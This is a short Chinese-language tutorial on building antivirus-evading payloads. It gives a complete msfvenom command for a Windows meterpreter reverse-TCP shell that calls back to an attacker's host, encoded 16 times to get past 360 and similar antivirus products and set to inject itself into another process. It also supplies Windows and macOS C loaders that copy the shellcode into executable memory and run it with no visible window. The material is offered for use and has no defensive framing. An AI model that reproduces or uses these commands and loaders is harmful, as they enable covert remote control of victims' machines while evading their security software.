使用shellcode制作免杀payload

1.shellcode具体怎么生成,可以借助cobalt straike 或者msf,还可以自己折腾

2.这里举例msf

msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=4444  -e x86/shikata_ga_nai  -i  16  PrependMigrate=true PrependMigrateProc=php-cgi.exe  -f c> shell.c

多次尝试使用x86/shikata_ga_nai 编码十五六次后,生成的shellcode用vs2007 生成exe文件,可以过杀软,360或者安全管家

这里主要说明两个参数:

PrependMigrate 设置为true以后,shellcode注入后将会实现进程注入,具体要注入到什么进程里,需要设置PrependMigrateProc 值。

这里不建议注入到lsass或者csrss 系统进程中,具体的不怕折腾可以多研究一下,要不蓝屏,要不断了以后就不会再回连。

其他进程怎么找,各种一句话shell里执行 tasklist….

3.之后把生成的shellcode 放到 c/c++ 编译工具里或者放到 vc2017编译生成,这里使用vs2017

代码如下:

#include "stdafx.h"
#include "windows.h"
#include "stdio.h"
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//运行时不显示窗口
unsigned char shellcode[] =
"shellcode";
void main()
{
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, shellcode, sizeof(shellcode));
((void(*)())Memory)();
}

编译好之后执行即可。可以过国内大部分杀软,360、安全管家等等….

另:OSX下如果需要编译一个shellcode,大概如下:

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h>


unsigned char shellcode[] = 
"shellcode";

int main(int argc, char *argv[]){
void (*f)(); 
char *x = malloc(sizeof(shellcode));
memcpy(x, shellcode, sizeof(shellcode));
f = (void (*)()) x;
f();
}